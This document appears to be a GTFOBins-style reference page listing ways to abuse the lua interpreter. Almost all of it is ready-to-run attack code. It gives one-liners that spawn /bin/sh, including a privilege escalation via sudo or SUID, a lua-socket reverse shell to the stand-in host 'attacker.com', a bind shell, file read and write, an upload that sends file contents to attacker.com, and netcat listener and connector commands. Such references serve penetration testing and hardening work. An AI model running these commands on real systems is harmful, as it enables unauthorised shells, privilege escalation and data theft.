Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    lua -e 'os.execute("/bin/sh")'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e 'os.execute("/bin/sh")'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    lua -e 'os.execute("/bin/sh")'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. CommentThis requires lua-socket to be available.
    This function can be performed by any unprivileged user.
    lua -e '
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      while true do
        local r,x=t:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));t:send(b);
      end;
      f:close();t:close();'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e '
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      while true do
        local r,x=t:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));t:send(b);
      end;
      f:close();t:close();'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    lua -e '
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      while true do
        local r,x=t:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));t:send(b);
      end;
      f:close();t:close();'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.
  1. CommentThis requires lua-socket to be available.
    This function can be performed by any unprivileged user.
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      while true do
        local r,x=c:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));c:send(b);
      end;c:close();f:close();'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      while true do
        local r,x=c:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));c:send(b);
      end;c:close();f:close();'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      while true do
        local r,x=c:receive();local f=assert(io.popen(r,"r"));
        local b=assert(f:read("*a"));c:send(b);
      end;c:close();f:close();'
    ConnectorA TCP client can be used on the attacker box to connect to the shell.
    nc victim.com 12345

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'

Upload

This executable can upload local data.
  1. CommentThis requires lua-socket to be available.
    This function can be performed by any unprivileged user.
    lua -e '
      local f=io.open("/path/to/input-file", "rb")
      local d=f:read("*a")
      io.close(f);
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      t:send(d);
      t:close();'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e '
      local f=io.open("/path/to/input-file", "rb")
      local d=f:read("*a")
      io.close(f);
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      t:send(d);
      t:close();'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lua -e '
      local f=io.open("/path/to/input-file", "rb")
      local d=f:read("*a")
      io.close(f);
      local s=require("socket");
      local t=assert(s.tcp());
      t:connect("attacker.com",12345);
      t:send(d);
      t:close();'
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.
  1. CommentThis requires lua-socket to be available.
    This function can be performed by any unprivileged user.
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      local d,x=c:receive("*a");
      c:close();
      local f=io.open("/path/to/output-file", "wb");
      f:write(d);
      io.close(f);'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      local d,x=c:receive("*a");
      c:close();
      local f=io.open("/path/to/output-file", "wb");
      f:write(d);
      io.close(f);'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lua -e '
      local k=require("socket");
      local s=assert(k.bind("*",12345));
      local c=s:accept();
      local d,x=c:receive("*a");
      c:close();
      local f=io.open("/path/to/output-file", "wb");
      f:write(d);
      io.close(f);'
    SenderA TCP client can be used on the attacker box to send the data.
    nc victim.com 12345 </path/to/input-file